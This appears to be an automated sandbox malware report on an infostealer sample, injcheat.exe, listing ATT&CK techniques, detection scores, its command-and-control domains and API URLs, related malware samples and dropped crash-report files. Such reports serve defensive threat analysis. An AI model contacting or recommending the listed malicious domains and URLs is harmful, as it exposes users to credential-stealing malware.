Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	33 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
injcheat.exe	26%	ReversingLabs	Win32.Infostealer.Tinba
injcheat.exe	61%	Virustotal		Browse
injcheat.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
frizzettei.sbs	0%	Virustotal	Browse
epiloggati.sbs	0%	Virustotal	Browse
s-part-0032.t-0009.t-msedge.net	0%	Virustotal	Browse
time.windows.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe
laddyirekyi.sbs	0%	Virustotal		Browse
https://epiloggati.sbs/api	0%	Virustotal		Browse
epiloggati.sbs	0%	Virustotal		Browse
bemuzzeki.sbs	0%	Virustotal		Browse
https://frizzettei.sbs/api	1%	Virustotal		Browse
frizzettei.sbs	0%	Virustotal		Browse
invinjurhey.sbs	0%	Virustotal		Browse
wickedneatr.sbs	0%	Virustotal		Browse
isoplethui.sbs	0%	Virustotal		Browse
exilepolsiy.sbs	0%	Virustotal		Browse
exemplarou.sbs	6%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
frizzettei.sbs	188.114.96.3	true	true	0%, Virustotal, Browse	unknown
epiloggati.sbs	188.114.96.3	true	true	0%, Virustotal, Browse	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	0%, Virustotal, Browse	unknown
time.windows.com	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
frizzettei.sbs	true	0%, Virustotal, Browse	unknown
laddyirekyi.sbs	true	0%, Virustotal, Browse	unknown
https://frizzettei.sbs/api	true	1%, Virustotal, Browse	unknown
https://epiloggati.sbs/api	true	0%, Virustotal, Browse	unknown
wickedneatr.sbs	true	0%, Virustotal, Browse	unknown
bemuzzeki.sbs	true	0%, Virustotal, Browse	unknown
invinjurhey.sbs	true	0%, Virustotal, Browse	unknown
epiloggati.sbs	true	0%, Virustotal, Browse	unknown
isoplethui.sbs	true	0%, Virustotal, Browse	unknown
exilepolsiy.sbs	true	0%, Virustotal, Browse	unknown
exemplarou.sbs	true	6%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	frizzettei.sbs	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527616
Start date and time:	2024-10-07 06:43:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	injcheat.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@5/9@3/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 71% Number of executed functions: 14 Number of non-executed functions: 159
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.95.65.251, 40.126.31.71, 20.190.159.2, 20.190.159.68, 20.190.159.73, 40.126.31.73, 20.190.159.71, 40.126.31.67, 40.126.31.69, 93.184.221.240, 172.202.163.200, 40.69.42.241, 52.168.117.173, 20.3.187.198
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, slscr.update.microsoft.com, twc.trafficmanager.net, otelrules.afd.azureedge.net, www.tm.lg.prod.aadmsa.akadns.net, wu.azureedge.net, login.live.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, glb.cws.prod.dcat.dsp.trafficmanager.net, hlb.apr-52dd2-0.edgecastdns.net, sls.update.microsoft.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, prdv4a.aadg.msidentity.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:44:11	API Interceptor	1x Sleep call for process: MSBuild.exe modified
02:04:11	API Interceptor	2x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	http://revexhibition.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	revexhibition.pages.dev/favicon.ico
	http://meta.case-page-appeal.eu/community-standard/112225492204863/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
	http://www.tkmall-wholesale.com/	Get hash	malicious	Unknown	Browse	www.tkmall-wholesale.com/
	c1#U09a6.exe	Get hash	malicious	Unknown	Browse	winfileshare.com/ticket_line/llb.php
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	1tstvk3Sls.exe	Get hash	malicious	RHADAMANTHYS	Browse	microsoft-rage.world/Api/v3/qjqzqiiqayjq
	http://Asm.alcateia.org	Get hash	malicious	HTMLPhisher	Browse	asm.alcateia.org/
	hbwebdownload - MT 103.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+lW3g3vOrk23&iL30=-ZRd9JBXfLe8q2J
	z4Shipping_document_pdf.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/g48c/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0032.t-0009.t-msedge.net	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse	13.107.246.60
	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.60
	http://ser0xen.com/sucklemydicknigger.exe	Get hash	malicious	XWorm	Browse	13.107.246.60
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.60
	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.60
	https://maxask.com	Get hash	malicious	Unknown	Browse	13.107.246.60
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	13.107.246.60
	2d3on76vhf.exe	Get hash	malicious	Socks5Systemz	Browse	13.107.246.60
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	13.107.246.60

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	VX7fQ2wEzC.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://shorturl.at/5LwA8	Get hash	malicious	Unknown	Browse	172.67.69.88
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	104.21.53.8
	https://maxask.com	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://email.m.teachable.com/c/eJwszz3O6yAQheHV4NJiZjA_BcVtso1owOMYyZjIkLv-T47Sn0d6zxqTFQ6TRHC4aDLgaJLK5XhekqW8x7OsUSGCDcHRQggKcdpjELZb4ORzSAyrwUzJbgHE28XoDacSUaPRnjRYHQhm9M4s2iP7ZLOWpIyu8xDOO6dD5tzqdMR9jHdX9E_hQ-GjfoYc5dzaVXmUdvZyueW7rNI7v-QXR0QLenuXXbHz2j7nnMrJZxbUCMro133pK3veWzt-EMEZsO6G_yP-BQAA__8EPU-T	Get hash	malicious	Unknown	Browse	188.114.97.3
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	cea5c9ffbf7c8ae9cf3f22399151956f3ee7145b95978.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.60
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	13.107.246.60
	TVyKPaL2h0.exe	Get hash	malicious	Amadey	Browse	13.107.246.60
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse	13.107.246.60
	gpfSnYlScw.exe	Get hash	malicious	Vidar	Browse	13.107.246.60
	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.60
	https://shorturl.at/5LwA8	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.60
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	13.107.246.60
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	188.114.96.3
	TVyKPaL2h0.exe	Get hash	malicious	Amadey	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_43832d93ddcf66f1edc5babbb1e353ebb92236_05bdfb8c_baa4bba1-0414-46fd-b4ad-a139b8562bf3\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	65536
Entropy (8bit):	1.0186475875762642
Encrypted:	false
SSDEEP:	192:2yYPcO8fsS0BU/gjem+yCzuiFaZ24IO8q:U38fsZBU/gjozuiFaY4IO8q
MD5:	735B963813C5574CD27239FD665750FC
SHA1:	69FBDFD05481A89C83067227419FD035C81271BC
SHA-256:	91305387160DDAAFACE76B9DC7C21D2FA389129417190CAEE0E79EF8DA3D769E
SHA-512:	F66B605AF070C5006E8FB1B0F590DD485DD7F9129E07610A82DE029EC56D1AAEA46F720616B2F13EE9C6C9767AD7416FF8287A80147CE9F33EF9DB3082CCAF13
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.4.9.8.5.3.1.0.6.7.4.8.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.4.9.8.5.3.5.9.1.1.2.3.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.a.a.4.b.b.a.1.-.0.4.1.4.-.4.6.f.d.-.b.4.a.d.-.a.1.3.9.b.8.5.6.2.b.f.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.3.1.d.b.a.6.c.-.f.f.a.8.-.4.c.8.b.-.b.8.c.5.-.a.a.f.2.c.e.0.2.0.2.c.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.9.4.-.0.0.0.1.-.0.0.1.4.-.b.5.6.f.-.9.d.8.c.7.3.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.6.2.5.6.a.0.1.5.9.6.8.8.f.0.5.6.0.b.0.1.5.d.a.4.d.9.6.7.f.4.1.c.b.f.8.c.9.b.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_injcheat.exe_bfdbaff99cfc5fd6ea5e84811572a32612ee71_c64bc4dd_96141fc8-3caa-417b-b7e8-b1b992ca8023\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	65536
Entropy (8bit):	0.7064097364334162
Encrypted:	false
SSDEEP:	96:hgF50LK/sFphWoI7Rq6tQXIDcQvc6QcEVcw3cE/9HF+HbHg/8BRTf3Oy1FhZAX/L:CA2/C0BU/Aju1zuiFaZ24IO8P
MD5:	F84E5B9A5810EFEC2FFF177FB6429E2A
SHA1:	9EA31880950D68BA39BBD6E3383B33D740E8B09B
SHA-256:	E52FB2AD480B8FCC976357BD08235745AB348DC695248C32AE6F630D8DEFBEFB
SHA-512:	9E5671FE7FA06C126CD46CDA1A15880A0B94CE7A3C16239F110D93A195C8C387388D9A61D69614DC49CFEC011AC47DD7C4CAC1F011808E9FC169DF24A9662C0C
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.4.9.8.5.0.0.5.7.6.7.4.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.4.9.8.5.0.4.4.8.3.0.0.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.6.1.4.1.f.c.8.-.3.c.a.a.-.4.1.7.b.-.b.7.e.8.-.b.1.b.9.9.2.c.a.8.0.2.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.8.9.1.e.b.c.5.-.5.d.8.b.-.4.7.4.8.-.b.6.9.f.-.1.b.3.4.1.9.1.9.e.e.6.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.i.n.j.c.h.e.a.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.5.c.-.0.0.0.1.-.0.0.1.4.-.6.3.0.2.-.8.1.8.c.7.3.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.6.4.9.d.7.f.a.0.1.2.3.0.8.0.1.2.1.c.c.f.0.e.4.a.1.1.3.5.b.c.6.0.0.0.0.f.f.f.f.!.0.0.0.0.5.9.5.0.6.3.3.f.3.6.9.b.8.7.a.7.5.1.0.9.4.c.8.8.a.5.2.b.f.2.6.7.2.c.d.8.9.7.7.9.!.i.n.j.c.h.e.a.t...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4./.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER736.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Oct 7 04:44:13 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	104824
Entropy (8bit):	2.051271282355356
Encrypted:	false
SSDEEP:	384:WFu3gZGkWckBW/JBnQcMLnD49M4f4vSk+IJEY/ozI5LWhpae3HZMgBTR:wu72kB2R6n2Mmk+laUZ1BV
MD5:	AAA780EB450A916841A04F0DB6E7B340
SHA1:	5C66E070987BF9310140BBC4FFA3856E8B15F118
SHA-256:	60FAC6BDBD9E7AD635870E7620D5240D66E93693130CD86AFEC8EBBFD4D8CF3B
SHA-512:	7409F68B7794125888063FA49046DFC2D660403D3657E55AD4A98824EFDDCD32444C7544593897A78E58006F1E4719640660E693A04F67D092341265C4D364CD
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........g.g....................................<....!...........D..........`.......8...........T...........X?.. Z...........!...........#..............................................................................eJ......@$......GenuineIntel............T............g.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER860.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8282
Entropy (8bit):	3.696752272047474
Encrypted:	false
SSDEEP:	192:R6l7wVeJmw6x+6YCg6R5gmfJ0prz89b+CsfRKm:R6lXJh6o6YV6PgmfJ9+Bf9
MD5:	D557E07B79426B07666022FB751AB5A2
SHA1:	471562CAE7B7EBFAEF98BC94F4BE2052D01E0E33
SHA-256:	1CE848AB39563079D4113F00844D5AB6AF02E5085DE1AAED236928B35DA11D42
SHA-512:	6BEF6F16049727958A842295861591BD381C0E8FDDEFDA373A8EF89B4332DA8F5B9C25C5B348550843AD608349298D27A007D96BA356D1ED76F583D519D57C8F
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.7.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER881.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4636
Entropy (8bit):	4.465564395083491
Encrypted:	false
SSDEEP:	48:cvIwWl8zsJJg77aI9RGWpW8VYsYm8M4JLZFfaEc+q8I/6mLkd:uIjfbI7DH7VMJ8B6mLkd
MD5:	2066EABC2836A5401D46114F5A73C9F8
SHA1:	90A555FBAD4FBA5E9F2706844D991F07BC1FF8D6
SHA-256:	67C46C6092313666A65A993CBF92B0BF2FCBB65E2F6F341AFFDF2C1B0D5ED436
SHA-512:	4757E19EA8C3843312B7CF8C06D698AC2364A65B5452E6B09B8799611CD8B70D8E433D3DDF16DF8D1CE674E95CC81EE4ABE30D9E41C87A16B1D255DE11B56B67
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="532546" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFB5F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 04:44:10 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	33072
Entropy (8bit):	1.854591604766997
Encrypted:	false
SSDEEP:	96:5q83UAayA5sB4YEizbPUs/i73cOYBDA/YIxhGfFlHBg2kXLRnTVk5BWIkWIDHPIk:H/AuTEz8Ob/3egrXLDs2Z8KJ2Ob
MD5:	B7C0EA89CFC270A8919BED10C0D4475B
SHA1:	DA8E17F41FF888EF5ACD8C3271F98631B18922C9
SHA-256:	C54F529ECF0C6D33A2325B94FB7938F250FB28BC02DE0A11E9502FF30CA14599
SHA-512:	666F2D5BA2F742B9C036AABBC2B8569AFCB12470BDBD676976D10930AC3AB17547EB39D128AC5B9AE378B3F6930869F4451AF6F741E19FF48A87CD97EBC4C6F3
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........g.g........................X...............V...........T.......8...........T...............@u......................................................................................................eJ......x.......GenuineIntel............T.......\....g.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFBBE.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8390
Entropy (8bit):	3.6964714332259603
Encrypted:	false
SSDEEP:	192:R6l7wVeJSv65p6YNZSU+3gmfM0pr089bVasfFnm:R6lXJS6n6YDSU+3gmfMQV5fI
MD5:	E8062C24455CA5F3A47F23D59BBD3567
SHA1:	A171BE0DF2458F69C181928A092A02A5207C11BE
SHA-256:	F41074DA2F9E70B8E48927733A6F741A547952E26DED71B13CFE4D3FECD83D09
SHA-512:	3B6F2C23A14E18666D8BF2BFD9D081AB3A72BBB25D17A64576667B19E6DB1AC5562E40A18847AF984D52E2C89C55770BC06509987EC59BF7F8B17C521F6C060B
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFC2C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	4.473391520917354
Encrypted:	false
SSDEEP:	48:cvIwWl8zsJJg77aI9RGWpW8VYmYm8M4J9EF7+m+q8v673oa+Kl3d:uIjfbI7DH7VaJmKk3ozKl3d
MD5:	40E1332E58E08C898B325745A240989F
SHA1:	E22D5D065147CD0E0BC79B11199A0CAFD78DB40A
SHA-256:	90F4278E10F8DEEC34512BE1753253C77BD316E9B158927C976E6F01C1BD1AA1
SHA-512:	35D60BF52CAD64D096D2A3CD3F7C195808D47BE14E4375FD31A25131A2D519B449962371B89250A40350DEE9FD8C9F3924F3FF08E4D3EEBE1F2A3A9FED865C48
Malicious:	false
